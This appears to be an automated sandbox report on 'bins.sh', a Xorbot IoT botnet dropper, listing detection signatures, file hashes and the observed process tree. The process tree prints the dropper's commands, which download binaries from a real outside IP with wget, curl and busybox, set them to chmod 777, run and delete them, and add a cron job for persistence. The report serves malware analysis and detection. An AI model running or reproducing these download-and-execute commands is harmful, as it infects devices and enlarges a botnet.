Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31/01/2025, 12:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250131-pc573axlar
  • SHA256 0b94c48747b796df1496afe5cb81d65a3a2b5bdb21851fddd602e658007bdb36
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1917) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:730
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:734
      • /usr/bin/wget
        wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:736
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:759
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:760
      • /bin/chmod
        chmod 777 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • File and Directory Permissions Modification
        PID:761
      • /tmp/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        ./0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
          PID:762
        • /bin/rm
          rm 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
          2⤵
            PID:764
          • /usr/bin/wget
            wget http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Writes file to tmp directory
            PID:765
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:766
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Writes file to tmp directory
            PID:767
          • /bin/chmod
            chmod 777 0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            ./0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
              PID:771
            • /bin/rm
              rm 0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
              2⤵
                PID:775
              • /usr/bin/wget
                wget http://94.154.35.94/bins/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                2⤵
                • Writes file to tmp directory
                PID:776
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/chmod
                chmod 777 BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                2⤵
                • File and Directory Permissions Modification
                PID:818
              • /tmp/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                ./BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                2⤵
                  PID:819
                • /bin/rm
                  rm BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    2⤵
                    • Writes file to tmp directory
                    PID:823
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    2⤵
                    • Writes file to tmp directory
                    PID:825
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /bin/chmod
                    chmod 777 EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    2⤵
                    • File and Directory Permissions Modification
                    PID:827
                  • /tmp/EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    ./EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:828
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:830
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:831
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:832
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:833
                      • /bin/rm
                        rm EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                        2⤵
                          PID:839
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                          2⤵
                            PID:844
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                            2⤵
                              PID:846
                            • /bin/busybox
                              /bin/busybox wget http://94.154.35.94/bins/kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                              2⤵
                              • Writes file to tmp directory
                              PID:929
                            • /bin/chmod
                              chmod 777 kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                              2⤵
                              • File and Directory Permissions Modification
                              PID:939
                            • /tmp/kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                              ./kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                              2⤵
                                PID:940
                              • /bin/rm
                                rm kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                                2⤵
                                  PID:943
                                • /usr/bin/wget
                                  wget http://94.154.35.94/bins/FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                  2⤵
                                    PID:945
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                    2⤵
                                      PID:948
                                    • /bin/busybox
                                      /bin/busybox wget http://94.154.35.94/bins/FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:952
                                    • /bin/chmod
                                      chmod 777 FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:958
                                    • /tmp/FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                      ./FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                      2⤵
                                        PID:959
                                      • /bin/rm
                                        rm FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                        2⤵
                                          PID:961
                                        • /usr/bin/wget
                                          wget http://94.154.35.94/bins/M8due8ZvF0qMezj3bnYC9NVB5omEkgH6n5
                                          2⤵
                                            PID:962

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
                                              • Path /tmp/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
                                              • Path /tmp/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                                              • Path /tmp/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                                              • Path /tmp/EOEqosjNSouPdcR483X2ZYnUNXxolngNOL
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                              • Path /tmp/FZ8IESJY7prVYTSJj5zYLK20LXm1ftal88
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                                              • Path /tmp/kFDiAiHf5P61osLZfzXEVJ4AxSxHTziYwC
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP
                                              Submit Download

                                              tmp.8ghxOY
                                              • Path /var/spool/cron/crontabs/tmp.8ghxOY
                                              • Size 210B
                                              • SHA256 676eda545240e353111c7057663a9f8c926748015e17915ebd624ac4da5b2ff1
                                              • MD5 SHA1 SHA512
                                              Submit Download